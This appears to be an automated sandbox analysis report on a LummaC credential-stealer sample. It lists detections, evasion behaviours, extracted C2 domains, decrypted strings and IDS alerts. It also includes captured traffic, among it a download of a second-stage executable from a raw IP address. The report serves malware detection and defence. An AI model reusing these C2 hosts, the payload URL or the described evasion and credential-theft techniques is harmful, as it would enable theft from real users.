Edit tour

Windows Analysis Report
JpzbUfhXi0.exe

Overview

General Information

Sample name:	JpzbUfhXi0.exe renamed because original name is a hash value
Original sample name:	3d433b38ddd7681112b41ac5d55e0e50.exe
Analysis ID:	1581407
MD5:	3d433b38ddd7681112b41ac5d55e0e50
SHA1:	b6e2898e0bfe4dd14c1aaf35408436baea062815
SHA256:	39cf6f9ee572a1b88a008fee671033e8f12e9fd3acae3bcc8d396ccef4d8b5be
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

JpzbUfhXi0.exe (PID: 2124 cmdline: "C:\Users\user\Desktop\JpzbUfhXi0.exe" MD5: 3D433B38DDD7681112B41AC5D55E0E50)

chrome.exe (PID: 4460 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4708 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1984,i,7879018632765314045,4288442333938110283,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7424 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2044,i,2575849442464606612,9070405180139745896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["inherineau.buzz", "scentniej.buzz", "appliacnesot.buzz", "rebuildeso.buzz", "mindhandru.buzz", "cashfuzysao.buzz", "hummskitnj.buzz", "screwamusresz.buzz", "prisonyfork.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2189381009.0000000001626000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2167683205.0000000001681000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: JpzbUfhXi0.exe PID: 2124	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: JpzbUfhXi0.exe PID: 2124	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: JpzbUfhXi0.exe PID: 2124	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: JpzbUfhXi0.exe PID: 2124	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:08:52.051932+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:08:54.264184+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:08:56.644483+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.11.101	443	TCP
2024-12-27T15:08:59.335857+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.11.101	443	TCP
2024-12-27T15:09:01.805948+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.11.101	443	TCP
2024-12-27T15:09:05.100250+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.11.101	443	TCP
2024-12-27T15:09:07.860158+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	104.21.11.101	443	TCP
2024-12-27T15:09:13.024268+0100	2028371	3	Unknown Traffic	192.168.2.5	49716	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:08:52.677186+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.11.101	443	TCP
2024-12-27T15:08:55.042264+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.11.101	443	TCP
2024-12-27T15:09:13.825379+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49716	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:08:52.677186+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:08:55.042264+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.11.101	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:09:15.281326+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49718	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T15:09:05.866911+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	104.21.11.101	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: JpzbUfhXi0.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz/8E	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/p	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/zo	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apis	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiK	Avira URL Cloud: Label: malware

Found malware configuration

Source: JpzbUfhXi0.exe.2124.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["inherineau.buzz", "scentniej.buzz", "appliacnesot.buzz", "rebuildeso.buzz", "mindhandru.buzz", "cashfuzysao.buzz", "hummskitnj.buzz", "screwamusresz.buzz", "prisonyfork.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: JpzbUfhXi0.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: JpzbUfhXi0.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: JpzbUfhXi0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49716 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: JpzbUfhXi0.exe, 00000000.00000002.2440141836.00000000066D2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49716 -> 104.21.11.101:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 14:09:14 GMTContent-Type: application/octet-streamContent-Length: 2787840Last-Modified: Fri, 27 Dec 2024 14:04:53 GMTConnection: keep-aliveETag: "676eb405-2a8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 98 d0 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 6f 70 76 75 73 65 79 00 00 2a 00 00 a0 00 00 00 fa 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 70 6a 6e 6f 74 79 77 00 20 00 00 00 a0 2a 00 00 06 00 00 00 62 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 68 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49716 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49718 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let 